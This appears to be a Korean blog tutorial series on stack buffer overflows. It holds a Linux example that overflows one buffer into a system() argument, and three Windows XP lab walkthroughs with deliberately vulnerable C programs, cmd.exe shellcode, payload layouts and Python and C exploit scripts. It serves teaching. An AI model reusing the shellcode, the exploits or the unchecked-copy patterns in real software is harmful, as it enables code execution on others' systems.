최초작성일 : 2017/04/02


이 글은 예전 세미나 용도로 작성해뒀던 자료를 각색하였음


1. BOF(Buffer Overflow) 개요


[위키피디아(위키백과)] http://ko.wikipedia.org/wiki/%EB%B2%84%ED%8D%BC_%EC%98%A4%EB%B2%84%ED%94%8C%EB%A1%9C

버퍼 오버플로(buffer overflow) 또는 버퍼 오버런(buffer overrun)은 메모리를 다루는 데에 오류가 발생하여 잘못된 동작을 하는 프로그램 취약점이다컴퓨터 보안과 프로그래밍에서 이는 프로세스가 데이터를 버퍼에 저장할 때 프로그래머가 지정한 곳 바깥에 저장하는 것이다. 벗어난 데이터는 인접 메모리를 덮어 쓰게 되는데 다른 데이터가 포함되어 있을 수도 있는데손상을 받을 수 있는 데이터는 프로그램 변수와 프로그램 흐름 제어 데이터도 포함된다이로 인해 잘못된 프로그램 거동이 나타날 수 있으며메모리 접근 오류잘못된 결과프로그램 종료또는 시스템 보안 누설이 발생할 수 있다. 


[네이버 지식백과버퍼 오버플로 [buffer overflow] (컴퓨터인터넷IT용어대사전, 2011.1.20, 일진사)

서버에서 가동되고 있는 프로그램에설정되어 있는 수신 용량보다 훨씬 큰 용량의 데이터를 한꺼번에 보낼 때 서비스가 정지되는 상태보낸 데이터에 특수한 실행 프로그램을 넣어두면정지시킨 서비스가 관리자 권한으로 움직이는 경우에 그 특수한 프로그램이 관리자 권한으로 동작한다이렇게 하여 서버에 침입하여 다양한 공격을 한다버퍼 오버 플로는 응용 프로그램을 이용하여 보내진 데이터가 수신 용량을 넘는지를 체크하도록 해두면 막을 수 있다 .



 결국 Buffer Overflow란...


1) 정해진 메모리보다 많은 데이터를 입력 받아 특정 영역을 덮음으로써 프로그램 흐름을 바꿔 공격자가 원하는 코드를 실행하는 공격

   <Phrack Magazine 49-14>, Aleph One


2) 입력 값의 길이를 올바르게 검사하지 않아 생기는 취약점

   프로그램의 실행 흐름을 바꾸어 특정 코드가 실행되게 하는 기법



2. 참고사항


이 문서는 단순히 이어져있는 buffer를 overflow하여 BOF를 성공적으로 수행하는 내용을 설명한다.



3. 실습


OS 환경 (redhat 6.2 버전이 BOF 입문자가 실습하기 매우 좋은 환경임, random stack 이니 stack guard니 exec shield니 그런거 없음)

 redhat 6.2 


간단한 실습코드

// boftest.c


#include <stdio.h>

#include <dumpcode.h>


int main(int argc, char *argv[]) {

        char buf[16];

        char buf2[16];

        if (argc != 2) {

                printf("Usage : %s arg\n“, argv[0]);

                exit(1);

        }

        strcpy(buf2, argv[1]);

        system(buf);

        dumpcode(buf2,64);

} 


컴파일 후 아래와 같이 실행하면 command not found 에러를 발견할 수 있다.

command not found 는 shell이 어떤 명령을 실행했는데 해당 명령어를 발견하지 못했다는 의미이다.

즉, system(buf); 에 의해 무엇인가 실행이 되었지만 해당 command를 찾을 수 없다는 의미가 되겠다.

만약 buf2를 overflow해서 buf에 공격자가 원하는 값을 삽입할 수 있다면 해당 명령어를 실행할 수 있다!!

[demo@redhat6 demo]$ ./bof1 AAAAAAAAAAAA

shx?: command not found

0xbffffb68  41 41 41 41 41 41 41 41 41 41 41 41 00 fb ff bf   AAAAAAAAAAAA....

0xbffffb78  88 fb ff bf 8b 84 04 08 78 97 04 08 8c 97 04 08   ........x.......

0xbffffb88  a8 fb ff bf cb 09 03 40 02 00 00 00 d4 fb ff bf   .......@........

0xbffffb98  e0 fb ff bf 68 38 01 40 02 00 00 00 f0 83 04 08   ....h8.@........


stack 확인

./bof1 AAAAAAAAAAAA 실행 당시 stack 구조를 살펴보면 다음과 같다.

                            Low address

        |     buf2      | AAAAAAAAAAAAAAAA + 00 fb ff bf

        +------------+

        |     buf       | /bin/sh - system() - 88 fb ff bf 8b 84 04 08 78 97 04 08 8c 97 04 08 - command not found

        +------------+

        |     SFP      | - a8 fb ff bf

        +------------+

        |     RET      | - cb 09 03 40

        +------------+ 

                           High address


argument를 통해 입력 받는 값은 buf2에 저장된다. - strcpy(buf2, argv[1]); 

우리는 buf2를 overflow 하여 buf에 우리가 실행할 명령어를 삽입하면 된다. - system(buf);


공격 payload를 구성하면 다음과 같다

[ buf2 ][ buf ][ sfp ][ ret ]


buf2[16] : AAAAAAAAAAAAAAAA

buf[16] : /bin/sh

sfp : Stack Frame Pointer (ebp)

ret : return address, 함수 복귀주소


참고 :  이 글에서는 stack frame pointer overflow 나 ret를 overflow 하지 않고 단순히 buffer를 overflow 하여 공격하는 방법을 다룬다.


최종 공격 payload를 그려보면 다음과 같다

[ AAAAAAAAAAAAAAAA ][ /bin/sh ][ sfp ][ ret ]

                                  ~~~~~~

                                   system()에 의해 실행된다.


다음과 같이 공격을 실행하면 공격 의도대로 shell을 획득할 수 있다.

[demo@redhat6 demo]$ ./bof1 AAAAAAAAAAAAAAAA/bin/sh

bash$ id

uid=501(demo) gid=501(demo) groups=501(demo) 


BOF 개념 끝


'BOF' 카테고리의 다른 글

[windows] windows buffer overflow #3  (0) 2017.04.01
[windows] windows buffer overflow #2  (0) 2017.04.01
[windows] windows buffer overflow #1  (0) 2017.04.01

최초 작성일 : 2014/07/31


Windows Buffer Overflow #3


환경

Windows XP Professional K Version 2002 SP3

VC++ 6.0

 

1. 대상 프로그램

이번 대상 프로그램은 동일한 폴더의 위치에서 badfile의 이름을 가진 파일을 읽어 출력하는 단순한 프로그램이다하지만 해당 프로그램에서 버퍼에 데이터를 저장할 때 별도의 제한 없이 파일의 데이터 크기만큼 버퍼에 저장하여 overflow가 발생한다.

// bof.cpp

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

 

int main(int argc, char **argv)

{

    char str[100];

    FILE *badfile;

    int lSize;

 

    badfile = fopen("badfile", "r");

 


    fseek (badfile , 0, SEEK_END);

    lSize = ftell (badfile);

    rewind (badfile);

    memset(str, 0, sizeof(char) * 100);

    fread(str, sizeof(char), lSize, badfile);

    

    printf("str : %s\n", str);

    printf("Returned Properly\n");

    return 1;

}


2. 취약점 확인

badfile bof.exe 폴더 위치에 다음과 같이 생성한다.


[그림1] badfile 내용

 

bof.exe 를 실행하면 badfile을 읽어 들여 화면에 출력한다.


[그림2] bof.exe 실행하면 badfile의 내용 출력

 

하지만 fread 함수에서 badfile에 저장된 데이터의 크기만큼 읽어 들여 입력 값 길이의 검증 없이버퍼에 저장하게 되므로 결국 buffer overflow가 발생한다.


[그림3] bof 발생


3. Stack 구조

디버거로 stack을 확인 해본 결과 buf(100byte) + sfp(4byte) + ret(4byte) 의 구조를 가진다아래 내용을 badfile로 생성하고 bof.exe를 실행하면 eip overflow되어 Offset 41414141(AAAA)을 가르키게 된다.

 

12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234AAAA

 


[그림4] eip 변조 확인

 

Stack에서 buf의 시작 주소는 0x0012FF1C 임을 확인할 수 있다적당히 buf의 시작 주소 부근에 jump 하도록 하자.


[그림5] stack 구조

 

4. payload 구성

공격에 사용될 payload를 구성해 보면 다음과 같다.

 

buf = 100byte

sfp = 4byte

ret = 4byte

 

buf nop shellcode를 담는다. ret buf에 가도록 하면 shellcode가 실행된다.

 

[      buf           ][  ebp ][   ret      ]

[ nop+shellcode ][ 1234 ][ jmp buf ]

 

buf

sfp

ret

nop+shellcode

1234

jmp buf

 

nop = "\x90" * 60 # 60byte

shellcode = "\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc\x50\xb8\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0" # 40byte # cmd.exe 실행

sfp = "1234"

ret = "0x0012FF2C " # buf 주소 부근. nop 중간에 떨어지게 했다.

 

최종 payload는 다음과 같다.

buf

sfp

ret

nop+shellcode

1234

0x0012FF2C

 

 

5. Buffer Overflow 공격

다음과 같이 python exploit을 작성하여 badfile을 생성하고, bof.exe를 실행하여 bof를 발생시킨다.

// fread_bof.py

import sys

import struct

 

filename = "badfile"

 

nop = "\x90" * 60

shellcode  = "\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc"

shellcode += "\x50\xb8\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0" # 40byte

sfp = "1234"

ret = struct.pack('<L', 0x0012FF2C)

 

payload = nop + shellcode + sfp + ret

print "Payload size : ", len(payload)

 

f = open(filename, 'w')

f.write(payload)

f.close()

 

 

[그림6] bof attack 성공




6. 참고사이트

http://stackoverflow.com/questions/14847015/homework-buffer-overflow



'BOF' 카테고리의 다른 글

[BOF] BOF 개요  (0) 2017.04.29
[windows] windows buffer overflow #2  (0) 2017.04.01
[windows] windows buffer overflow #1  (0) 2017.04.01

최초작성일 : 2014/06/13


Windows Buffer Overflow #2


환경


Windows XP Professional K Version 2002 SP3

VC++ 6.0


두 번째 대상 프로그램은 입력 값을 받아서 strcpy 함수로 buf에 저장하고 출력하는 단순한 프로그램이다. 하지만 strcpy 함수는 입력 값 길이 검증을 하지 않으므로 bufferoverflow를 발생시킨다.


1. 대상프로그램

// strcpy.cpp

#include <stdio.h>

#include <windows.h>

 

int main(int argc, char *argv[])

{

char buf[100];

 

if( argc < 2)

{

           printf("%s string\n", argv[0]);

           exit(1);

}

printf("\nbuf : 0x%x\n", buf);

strcpy(buf, argv[1]);

printf("%s\n", buf);

return 0;

}

  


2. 취약점확인


buf 100byte의크기로 배열이 선언되어 있다. 입력 값으로 100byte를초과하는 문자열을 입력하면 overflow가 발생한다.


[그림1] buffer overflow 발생

  

3. Stack구조

A*100 + BBBB + CCCC 를 입력하면 eip  43434343(CCCC)으로 변조 되는 것을 확인할 수있다.


[그림2] 변조된 eip 주소로 오류 메시지가 발생함


4. Shellcode


1)shellcode 작성


먼저 쉘 코드를 argv[1]과 같이 아규먼트 방식으로 받는 경우에는 Windows XP SP3 다국어 버전 에서 알아두어야 할 사항이 있다. XPSP3 다국어 윈도우는 내부적으로 wchar 형 함수(unicode함수)를 사용하여 문자열을 전달 받는다. 이때 0x80 이상의 문자가 입력되면(ascii 코드가 아닌값) unicode로 처리한다. 하지만 입력 받은 문자가unicode 문자 표에 없다면(unicode가 아니라면) 0x3F로 변경된다.

 

이런 문제로 기존에 만들었던 shellcode를 사용할 수 없고, 0x3F로 변경 되는 것을 피하기 위해서 shellcode의 수정이필요하다. shellcode 작성에 대한 내용은 이번 주제에서는 다루지 않으므로 다음 사이트를 참조한다.


http://uptx.egloos.com/372313


결국 0x3F 변경을 우회하는shellcode 작성이 필요하므로 다음과 같이 작성하였다.

char shellcode[]=

"\x68\x63\x6d\x64\x01"  

"\x80\x44\x24\x03\x1f"  

"\x54"               

"\x68\xfa\xca\x71\x7c"  

"\x80\x44\x24\x02\x10"  

"\x68\x2d\x23\x76\x7c" 

"\x80\x44\x24\x02\x10"  

"\x80\x04\x24\x80"    

"\xc3\x90";             

 

2)shellcode 위치

strcpy 프로그램에는 buf의위치를 출력하는 코드가 존재한다. 현재 buf의 위치는 0x12ff1c로 표기되고 있다.(그림1, 그림2 참조) 0x0012ff2c(nop중간인 0x0012ff2c ret를 정하고실행) ret에 넣고 실행하니 eip 0x0012ff77에서 오류가 발생한다.

 

해당 주소를 살펴보니 내가 입력한 shellcode가 존재하지 않는다. 어떠한 문제점으로 인하여 shellcode가 망가진 상태이고, 이로 인하여 공격을 성공시킬 수가 없다!! (해당 이유는 스스로 한번 확인해보기 바란다.)

 


[그림3] buf 함수 주소 위치

 

하지만 shellcode가 입력되면서 메모리 어딘가에는 존재할 것으로추측 되고, shellcode를 찾기 위해서 WinHex를 이용하여 strcpy.exe의 메모리상에서 shellcode의 위치를 검색해 보기로 했다.


첫 번째 shellcode 위치


[그림4] 첫 번째 shellcode 위치

 

두 번째 shellcode 위치


[그림5] 두 번째 shellcode 위치

 

세 번째 shellcode 위치


[그림6] 세 번째 shellcode 위치

 

네 번째 shellcode 위치


[그림7] 네 번째 shellcode 위치

 

모두 4곳에서nop+shellcode가 정상적으로 존재한다. 하지만 해당주소 모두를 ret에 사용할 수 있는 것은 아니다. 마찬가지로 ret의 주소도 유니코드로 인식되지 않으면 0x3F로 변경 당한다. 나는 0x00430e80의 주소가 적당해 보여, 해당 주소를 ret 에 대입하여 공격에 사용해보자.


5.payload 구성

공격에 사용할 payload를 구성해 보면 다음과 같다.

 

buf = 100byte = nop + shellcode

sfp = 4byte = AAAA

ret = 4byte = &(nop+shellcode)

 

buf

sfp

ret

nop+shellcode

AAAA

&(nop+shellcode)

 

buf nop  shellcode를 채우고, ret의 값은 메모리에서 발견한 nop+shellcode 주소 중 적당한 주소를 선택한다.

 

nop = \x90\x90\x90\x90\x90\x90..

shellcode = \x68\x63\x6d\x64\x01...

sfp = AAAA

ret = 0x430e80


최종 payload 구성은 다음과 같다.

buf

sfp

ret

\x90\x90\x90\x90\x90\x90...\x68\x63\x6d\x64\x01...

AAAA

0x430e80

  

6.Buffer Overflow 공격

payload 구성이 완료 되었으므로 다음과 같은 wrapper 공격 코드를 작성하여 공격해보자.

// attack.cpp

#include <stdio.h>

#include <process.h>

#include <string.h>

#include <windows.h>

 

char shellcode[]=

"\x68\x63\x6d\x64\x01" 

"\x80\x44\x24\x03\x1f"  

"\x54"                 

"\x68\xfa\xca\x71\x7c" 

"\x80\x44\x24\x02\x10" 

"\x68\x2d\x23\x76\x7c"  

"\x80\x44\x24\x02\x10"  

"\x80\x04\x24\x80"   

"\xc3\x90";           

 

int main(int argc, char *argv[])



{

  char buffer[150];

 

  if( argc < 2 )

  {

printf("Usage: %s number\n",argv[0]);

exit(1);

  }

 

  int ebp = atoi(argv[1]);

 

  memset(buffer, 0, sizeof(buffer));

  memset(buffer, 0x90, sizeof(buffer));

  memcpy(buffer+60, shellcode, strlen(shellcode));

 

  *(long *) &buffer[ebp] = 0x41414141;

  *(long *) &buffer[ebp+4] = 0x430e80;

 

  execl("strcpy.exe", "strcpy.exe", buffer, 0);

 

  return 0;

}

 

이제 공격을 시도해보자. (attack.exe 100)

만약 공격이 성공하면 다음과 같이 정상적으로 cmd가 실행될 것이다.


[그림8] 공격 성공

 









7. 참고사이트

http://uptx.egloos.com/372313



'BOF' 카테고리의 다른 글

[BOF] BOF 개요  (0) 2017.04.29
[windows] windows buffer overflow #3  (0) 2017.04.01
[windows] windows buffer overflow #1  (0) 2017.04.01

최초 작성일 : 2014/06/04


Windows Buffer Overflow #1

- 환경


Windows XP Professional K Version 2002 SP3
VC++ 6.0


1. 대상 프로그램
bof의 기초를 익히기 위해 cmd를 실행하는 shellcode를 소스 안에 넣어두었다. main 함수를 보면 shellcode의 주소가 출력되고, 입력되는 문자열의 길이를 체크하지 않는 gets 함수의 취약점을 이용하여 shellcode를 실행할 수 있다.


// gets.cpp
#include <stdio.h>
char shellcode[]=
"\x55"
"\x8b\xec"
"\x53"
"\xc6\x45\xfc\x63"
"\xc6\x45\xfd\x6d"
"\xc6\x45\xfe\x64"
"\xc6\x45\xff\x00"
"\x6a\x01"
"\x8d\x45\xfc"
"\x50"
"\xb8\xad\x23\x86\x7c"
"\xff\xd0"
"\x6a\x01"
"\xb8\xfa\xca\x81\x7c"
"\xff\xd0";
int main()
{
 char buf[10];
 printf("shellcode : 0x%x\n", shellcode);
 printf("input : ");
 gets(buf);
 printf("\noutput : %s\n",buf);
}


2. 취약점 확인
buf는 10byte의 크기로 배열이 선언되어 있다. gets의 입력 값으로 10byte를 초과하는 문자열을 입력하면 overflow가 발생한다. 또한, shellcode의 주소는 0x422360 임을 화면에 출력된 내용을 보고 확인 할 수 있다.


[그림1] AAAAAAAAAABBBBBBBBBB (20byte) 입력 시 overflow 발생


3. stack 구조
buf가 10byte로 선언되어 있지만 ret를 조작하여 eip를 변경하려면 ret까지의 정확한 위치를 알아야 한다. 간단한 시도로 AAAAAAAAAABBCCCCDDDD의 입력 값에서 eip가 44444444(DDDD)로 변조되는 것을 확인할 수 있다. 즉, buf로 부터 ret 까지의 거리는 16byte 떨어져 있다. BB는 buf와 sfp 사이에 garbage 값이다.



[그림2] 변경된 eip 주소로 오류 메시지가 발생함


4. payload 구성
공격에 사용될 payload를 구성해 보면 다음과 같다.

buf = 10byte
garbage = 2byte
sfp = 4byte
ret = 0x422360 (shellcode 주소)

bufgarbagesfpret
AAAAAAAAAAGGBBBB0x422360


shellcode address인 0x422360은 간단히 ASCII 코드표에서 문자를 찾아서 대입하면 된다.


[그림3] ascii 코드 표

0x42 = B
0x23 = #
0x60 = `
메모리 주소는 리틀 엔디안(Little-Endian) 형식에 따라 하위 byte부터 입력한다. 
최종 payload는 다음과 같다.

bufgarbagesfpret
AAAAAAAAAAGGBBBB`#B


5. Buffer Overflow 공격
최종 payload ( AAAAAAAAAAGGBBBB`#B )로 공격을 실행하면 buf를 overflow하여 eip를 shellcode위치로 변경할 수 있다. 공격이 성공하면 cmd가 실행된다.

[그림4] bof 공격 성공


6. 디버깅
main 함수 시작

[그림5] main()


gets 함수 실행


[그림6] gets()


공격 실행


[그림7] bof attack


sfp 위치의 stack 0x0012FF80 = 42424242 (BBBB)


[그림8] pop ebp


ret 위치의 stack 0x0012FF84 = 00422360 (shellcode 주소)


[그림9] RETN


RETN의 실행으로 변경된 eip (0x00422360) 위치로 리턴함


[그림10] shellcode


shellcode가 실행되어, cmd가 동작함


 [그림11] cmd execute


7. 참고사이트
http://pgnsc.tistory.com/260





'BOF' 카테고리의 다른 글

[BOF] BOF 개요  (0) 2017.04.29
[windows] windows buffer overflow #3  (0) 2017.04.01
[windows] windows buffer overflow #2  (0) 2017.04.01

+ Recent posts